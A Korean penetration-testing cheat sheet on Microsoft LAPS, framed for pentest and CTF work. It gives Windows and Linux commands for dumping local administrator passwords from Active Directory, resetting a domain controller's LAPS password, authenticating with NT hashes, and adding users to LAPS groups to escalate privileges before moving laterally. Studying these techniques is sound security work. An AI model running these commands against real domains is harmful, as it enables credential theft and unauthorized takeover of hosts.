Introduction

LAPS는 도메인에 조인된 윈도우 컴퓨터의 로컬 Administrator 비밀번호를 자동으로 생성·회전시키고, 이를 AD 속성에 안전하게 저장해 각 호스트의 비밀번호를 고유하게 유지하는 솔루션입니다. 침투 테스트 관점에서는 이 비밀번호를 읽을 수 있는 주체(계정/그룹)를 찾고, 다양한 도구로 LAPS 속성을 조회해 횡적 이동에 활용하는 흐름이 핵심입니다.

1. LAPS 개요 및 속성

  • LAPS(레거시)는 각 컴퓨터 객체의 ms-Mcs-AdmPwd 속성에 로컬 관리자 비밀번호를 평문으로 저장하고, ms-Mcs-AdmPwdExpirationTime에 만료 시간을 저장합니다.
  • ms-Mcs-AdmPwd는 “confidential” 속성으로 분류되어 기본적으로 Domain Admin 등 특정 권한이 있는 계정만 읽을 수 있으며, 일반 Authenticated Users는 접근할 수 없습니다.

2. LAPS 설치 여부 확인 (타깃 호스트)

로컬 워크스테이션/서버에서 LAPS 클라이언트(CSE)가 설치되어 있는지 확인하려면 다음과 같이 확인할 수 있습니다.

Get-ChildItem 'C:\Program Files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'C:\Program Files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'C:\Program Files\LAPS\CSE\Admpwd.dll'

3. Windows에서 LAPS 패스워드 읽기

3-1. ADSISearcher(윈도우 네이티브) 사용

Windows 8+에서는 .NET의 DirectorySearcher를 래핑한 [adsisearcher]를 통해 네이티브만으로 LAPS 속성을 조회할 수 있습니다.

# 도메인의 모든 LAPS 비밀번호 가진 컴퓨터
([adsisearcher]"(&(objectCategory=computer)(ms-Mcs-AdmPwd=*)(sAMAccountName=*))").FindAll() | ForEach-Object { $_.Properties }

# 특정 컴퓨터(MACHINE$)만
([adsisearcher]"(&(objectCategory=computer)(ms-Mcs-AdmPwd=*)(sAMAccountName=MACHINE$))").FindAll() | ForEach-Object { $_.Properties }

적절한 도메인 자격 증명이 있고 LAPS 속성을 읽을 수 있는 ACL이 부여되어 있어야 ms-Mcs-AdmPwd가 반환됩니다.

3-2. PowerView (PowerTools/PowerView)

PowerView는 AD 객체를 PowerShell에서 쉽게 열거 및 조회할 수 있는 모듈로, LAPS 속성 조회에 자주 사용됩니다.

Import-Module .\PowerView.ps1

# 특정 컴퓨터의 LAPS 비밀번호와 만료시간
Get-DomainComputer COMPUTER -Properties ms-Mcs-AdmPwd,ComputerName,ms-Mcs-AdmPwdExpirationTime

3-3. LAPSToolkit 활용

LAPSToolkit은 LAPS 환경에 특화된 PowerShell 스크립트 모음으로, LAPS 비밀번호 조회와 권한 점검 기능을 제공합니다.

# LAPS로 관리되는 컴퓨터와 비밀번호 목록
Get-LAPSComputers

ComputerName                Password               Expiration
------------                --------               ----------
example.domain.local        dbZu7;vGaI)Y6w1L       02/21/2021 22:29:18

권한 위임 상태 확인

Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights

어떤 그룹/계정이 OU 단위로 LAPS 비밀번호 읽기 권한을 가지고 있는지 파악할 수 있어, 누가 LAPS를 읽을 수 있는지를 추적하는 데 유용합니다.

3-4. PowerShell AdmPwd.PS 모듈

레거시 LAPS에서 제공하는 공식 PowerShell 모듈 AdmPwd.PS를 사용하면, Get-AdmPwdPassword로 간편히 비밀번호를 확인할 수 있습니다.

# 예: LDAP 쿼리 결과에서 자기 자신이 아닌 컴퓨터들에 대해 LAPS 패스워드 가져오기
foreach ($objResult in $colResults) {
    $objComputer = $objResult.Properties
    $objComputer.name |
        Where-Object { $_ -ne $env:COMPUTERNAME } |
        ForEach-Object { Get-AdmPwdPassword -ComputerName $_ }
}

4. Linux에서 LAPS 패스워드 읽기

4-1. bloodyAD

bloodyAD는 Linux/Windows에서 AD를 쿼리·조작할 수 있는 도구로, LAPS 속성을 직접 읽을 수 있습니다.

bloodyAD -u j.ddoe -d lab.local -p 'P@ssw0rd!' --host 192.168.0.1 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

이 명령은 ms-Mcs-AdmPwdExpirationTime이 설정된 컴퓨터들을 찾고, 해당 컴퓨터의 평문 비밀번호와 만료시간을 반환합니다.

4-2. pyLAPS

pyLAPS는 Python 기반으로 LAPS 비밀번호를 읽거나 설정할 수 있는 도구입니다.

# 모든 컴퓨터의 LAPS 비밀번호 읽기
./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'P@ssw0rd!' --dc-ip 192.168.0.1

# 특정 컴퓨터(DC01$)의 비밀번호를 랜덤 값으로 설정
./pyLAPS.py --action set --computer 'DC01$' -u 'Administrator' -d 'LAB.local' -p 'P@ssw0rd!' --dc-ip 192.168.0.1

4-3. NetExec (nxc, 구 CrackMapExec 계열)

NetExec는 SMB/LDAP/WinRM 등 다양한 프로토콜을 대상으로 모듈 형태의 공격을 제공하며, LAPS 모듈도 포함합니다.​

netexec ldap 10.0.0.1 -u 'Administrator' -H '8846f7eaeefe31178ad6bdd830b7586c' -M laps
  • NT 해시 인증으로 LDAP에 바인딩한 뒤, 계정이 읽을 수 있는 LAPS 비밀번호를 자동으로 덤프합니다.​

4-4. LAPSDumper

LAPSDumper는 LAPS 비밀번호 덤프에 특화된 도구로, 평문 또는 해시 기반 인증을 지원합니다.

# 평문 비밀번호로 도메인 바인딩
python laps.py -u 'user' -p 'password' -d 'lab.local'

# 해시(예: NTLM)로 인증
python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'lab.local' -l 'dc01.lab.local'

4-5. ldapsearch

표준 LDAP 클라이언트인 ldapsearch로도 LAPS 속성을 직접 조회할 수 있습니다.​

ldapsearch -x \
  -h <DC_IP> \
  -D "<bind user>" \
  -w '<password>' \
  -b "dc=<domain>,dc=<tld>,dc=<subtld>" \
  "(&(objectCategory=computer)(ms-Mcs-AdmPwd=*))" \
  ms-Mcs-AdmPwd
  • 필터 (ms-Mcs-AdmPwd=*)로 LAPS 비밀번호가 설정된 모든 컴퓨터 객체를 대상으로 평문 비밀번호를 반환합니다.

5. LAPS 권한 위임 및 권한 상승

5-1. LAPS 접근 권한 구조

  • LAPS를 도입하면 보통 “LAPS ADM”, “LAPS READ”와 같은 그룹을 만들어 특정 OU에 대한 LAPS 읽기/관리 권한을 위임합니다.​
  • Account Operators 그룹은 "관리자 그룹은 아니지만 사용자/그룹을 추가/수정할 수 있는" 강력한 기본 그룹이며, LAPS 관련 그룹이 비관리자 그룹으로 분류되는 경우 이 그룹 구성원은 자신이 속한 도메인에서 LAPS 관련 그룹 멤버십을 조작할 수 있습니다.​

5-2. PowerView로 그룹 멤버 추가 (권한 상승)

예를 들어, Account Operators 권한을 가진 계정이 LAPS ADM/READ 그룹에 사용자를 몰래 추가해 LAPS 비밀번호를 읽으려 할 수 있습니다.​

# 'user1'을 LAPS ADM 그룹에 추가
Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain 'lab.local'

# 'user1'을 LAPS READ 그룹에 추가
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' ` -Credential $cred -Domain 'lab.local'

이렇게 그룹 멤버십을 조작한 뒤, user1로 다시 LAPS 조회 도구(ldapsearch, pyLAPS, PowerView, AdmPwd.PS 등)를 실행하면 위임된 OU에 속한 컴퓨터들의 로컬 관리자 비밀번호를 손쉽게 가져올 수 있습니다.


6. 침투/CTF 관점에서의 활용

1단계: BloodHound·PowerView 등으로 ReadLAPSPassword/ms-Mcs-AdmPwd 읽기 권한 확인

2단계: Windows/Linux에 따라 도구를 활용해 LAPS 비밀번호 조회

3단계: 획득한 로컬 관리자 비밀번호로 호스트에 접속 후 추가 도메인 권한 상승 및 횡적 이동 수행